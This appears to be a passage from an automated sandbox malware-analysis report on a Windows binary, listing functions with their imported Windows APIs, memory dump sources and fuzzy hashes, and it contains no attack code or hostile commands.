Instruction Fuzzy Hash: B1513776A04B1685EB20EF66D8902AC77B4FB9AFC4B564072DE5E83359EF38E441C304

Function 00007FF697BB670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF697BB674B
VariantClear.OLEAUT32 ref: 00007FF697BB67C5
VariantClear.OLEAUT32 ref: 00007FF697BB6826
VariantClear.OLEAUT32 ref: 00007FF697BB68B4
VariantChangeType.OLEAUT32 ref: 00007FF697BB68E5

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction ID: bfaa737701a2d9dc4fa4ad86a2f6bdf66d2c4903fbc1a5fac7278c9478e01e04
Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction Fuzzy Hash: 37513277625A85D2DB20DF15D4987AD33B4FB94B84F428122CB8E83768EF39E558C701

Function 00007FF697BC96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00007FF697BC9785
GetPrivateProfileSectionW.KERNEL32 ref: 00007FF697BC97BA
WritePrivateProfileSectionW.KERNEL32 ref: 00007FF697BC980F
WritePrivateProfileStringW.KERNEL32 ref: 00007FF697BC9836
WritePrivateProfileStringW.KERNEL32 ref: 00007FF697BC9848

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 5ddcdf5be155bdd7fae183d3f61eaf0ee1945c0c2493d87505c57e9b0a69a627
Instruction ID: f16619cda185e67acb66e34a71ecd3749bf4909520153a33cda51a5877a35911
Opcode Fuzzy Hash: 5ddcdf5be155bdd7fae183d3f61eaf0ee1945c0c2493d87505c57e9b0a69a627
Instruction Fuzzy Hash: C4510C36618A4682EB24DF26E4902697760FB8AFD4F058472EF8E8776ACF3CD540C700

Function 00007FF697B41CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF697B41D1B
ScreenToClient.USER32 ref: 00007FF697B41D3A
GetAsyncKeyState.USER32 ref: 00007FF697B41D62
GetAsyncKeyState.USER32 ref: 00007FF697B41D82

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: 2a4bab5d5136504403591124f87242d47bc10e55c2c6b1b3bd2640b9263b9e4c
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: 7051CF76B096828BEBA8DF35D5406A977A0FB467D4F100271EA5A83BD9CF38E4918700

Function 00007FF697B7BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF697B7BB4E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: 8b82214e48b52118f4d8345c121a548a66ba685ffc5673763aa3980853598a90
Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: 3641E231B09A0285FE359F16A8246B66391FF4ABD0F194575ED1ECBB8CEE3CE4018704

Function 00007FF697BEFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF697BEFFE7
EnableWindow.USER32 ref: 00007FF697BF0012
ShowWindow.USER32 ref: 00007FF697BF007C
ShowWindow.USER32 ref: 00007FF697BF0098
EnableWindow.USER32 ref: 00007FF697BF00C6

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: dfd471f1b415347255eb11b820c26a389c7e8041c71eae1d472200dab12686c5
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: 1251613A90968AC5EB719F25D45467837A1EB86FC4F2840B2CA4D877A8CE3DE481E710

Function 00007FF697BAD924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF697BAD8F3), ref: 00007FF697BAD952
PostMessageW.USER32 ref: 00007FF697BAD9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF697BAD8F3), ref: 00007FF697BAD9FA
PostMessageW.USER32 ref: 00007FF697BADA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF697BAD8F3), ref: 00007FF697BADA15

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction ID: 52c74c197b4b8fe1560b055d24cadb8dcaa60af212eb8f4b606d8b7b7ab13122
Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction Fuzzy Hash: C631D53A60864547E724DF69E44866973A1FB89BE8F410235EE9EC779CCE3CE8458700

Function 00007FF697BC3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00007FF697BC3889
TranslateAcceleratorW.USER32 ref: 00007FF697BC38E9
TranslateMessage.USER32 ref: 00007FF697BC3916
DispatchMessageW.USER32 ref: 00007FF697BC3921
PeekMessageW.USER32 ref: 00007FF697BC3938

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction ID: 75d336774ff12418f401a79300b13d3a2e747c4e1625d66891662c12da0c2297
Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction Fuzzy Hash: 7E415F32D0C68286FFB08F18A4597B926A0EF46BC5F9840F5D55EC71A9CE6DE4858702

Function 00007FF697BB1B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF697BB1B6A
SendMessageW.USER32 ref: 00007FF697BB1B93
SendMessageW.USER32 ref: 00007FF697BB1BD8
CharUpperBuffW.USER32 ref: 00007FF697BB1BFC
wcsstr.LIBVCRUNTIME ref: 00007FF697BB1C09

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: c96b3dee558e0f0e55b53f66a4f3d4a9b731c61fc9f957ff27ab50b26f9f0e0c
Instruction ID: a9005ff6d98335ec7d31fb252bdd4313fce84465dae609076d425d4f0eb33945
Opcode Fuzzy Hash: c96b3dee558e0f0e55b53f66a4f3d4a9b731c61fc9f957ff27ab50b26f9f0e0c
Instruction Fuzzy Hash: E021F432B0978246EB24DF22A9442796790FF8AFE0F444571EE1EC7B99EE3CE5508300

Function 00007FF697B42370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF697B423FF
SelectObject.GDI32 ref: 00007FF697B42412
BeginPath.GDI32 ref: 00007FF697B4242B
SelectObject.GDI32 ref: 00007FF697B42452

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: 8819e062fb42eb4e347443b47078e62ab6d0d6a508f3964e6bcbe4d794c5fb9e
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: 60312932B18756CAE7609F01A84437D7BA2FB86BD1F5402B9DA8987758CF7CE485DB00

Function 00007FF697B71F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B71F68
CreateThread.KERNEL32 ref: 00007FF697B71FA9
GetLastError.KERNEL32 ref: 00007FF697B71FB7
CloseHandle.KERNEL32 ref: 00007FF697B71FD4
FreeLibrary.KERNEL32 ref: 00007FF697B71FE3

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: bcf9ce53f8f77b43a18eb6361469c13673505a954051b2e39903e313c3d90cd1
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: 60215B35A0978686EE24DF65A45017AA2A0EF86FC0F4844B0EA4D8BF9DDF3CE4049620

Function 00007FF697B7F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF697B7F9FB
_set_statfp.LIBCMT ref: 00007FF697B7FA16
_set_statfp.LIBCMT ref: 00007FF697B7FA32
_set_statfp.LIBCMT ref: 00007FF697B7FA6E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: d105235a24e0e0b8fec1fa0543cf0141f93287061be27d12ccbc9c8a28133db5
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: B4118F36E1C6034DF6741B39E4423751162EF573E0F0566B4EB6EC6EDECE1CA8428118

Function 00007FF697B65244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF697B6525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF697B65274
_RTC_Initialize.LIBCMT ref: 00007FF697B6527D

Part of subcall function 00007FF697B64F0C: _onexit.LIBCMT ref: 00007FF697B64F10

Part of subcall function 00007FF697B7A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7A0C6

__scrt_fastfail.LIBCMT ref: 00007FF697B652F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF697B65300

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: fcba0f6b10a29ab1105c687001a3bb107db168f4ea918d97d5dbe3f611a85f17
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: 7711CD70E0894305FA747FB0545A2BC3281CF837E1F4404B8E64DDA6CBED1CA7604622

Function 00007FF697BAB748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32 ref: 00007FF697BAB771
ProgIDFromCLSID.OLE32 ref: 00007FF697BAB790
lstrcmpiW.KERNEL32 ref: 00007FF697BAB7A2
CoTaskMemFree.OLE32 ref: 00007FF697BAB7B4
CLSIDFromString.OLE32 ref: 00007FF697BAB7C2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction ID: 04ffa357f703e42fa4a7f4971d8a771d5e285ba6ef120a6aa61457087bba3f6c
Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
Instruction Fuzzy Hash: 6F110C36A08A8286E764AF26E45032A62A4EF86FD5F184074DE5EC775CDF7DE4458700

Function 00007FF697BBD7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FF697BBD811
QueryPerformanceFrequency.KERNEL32 ref: 00007FF697BBD820
Sleep.KERNEL32 ref: 00007FF697BBD828
QueryPerformanceCounter.KERNEL32 ref: 00007FF697BBD833
Sleep.KERNEL32 ref: 00007FF697BBD86E

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction ID: 3d30b84f35480bb1c81527465a1fcc582c6ee39394c839db6d8da5aecf3ef8d5
Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
Instruction Fuzzy Hash: AC018F35A18A0282FB25AF35A8D91399361FF97BC2F544276E50FD25A9DF2CF4C5C600

Function 00007FF697BC0008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC003C
TerminateThread.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC0047
WaitForSingleObject.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC0055
~SyncLockT.VCCORLIB ref: 00007FF697BC005E

Part of subcall function 00007FF697BBF7B8: CloseHandle.KERNEL32(?,?,?,00007FF697BC0063,?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BBF7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF697BA29AD,?,?,?,00007FF697B52AB2), ref: 00007FF697BC006A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: e3e2ea37a7ae3eb6311659711a91b677d1816db9c29cfc1a63fdea568c8d0940
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 7E01083AA18B4596E760AF19E48422D7360FB89B91F244075DB8E83B69CF3CD896C740

Function 00007FF697B71DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B7B80C: GetLastError.KERNEL32 ref: 00007FF697B7B81B
Part of subcall function 00007FF697B7B80C: SetLastError.KERNEL32 ref: 00007FF697B7B885

ExitThread.KERNEL32 ref: 00007FF697B71DB8
ExitThread.KERNEL32 ref: 00007FF697B71DCD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: 478668f4f80e7c3a44eae3c312999b8b9d776c7becd452adf0bdb7de610cb0d4
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: 4C014F35B0864692EA246F20948417C2265FF82BF5F5057B9C63E82AD9DF3CE9588300

Function 00007FF697B422E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00007FF697B42304
StrokeAndFillPath.GDI32 ref: 00007FF697B4231C
SelectObject.GDI32 ref: 00007FF697B42331
DeleteObject.GDI32 ref: 00007FF697B42346
StrokePath.GDI32 ref: 00007FF697B42366

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
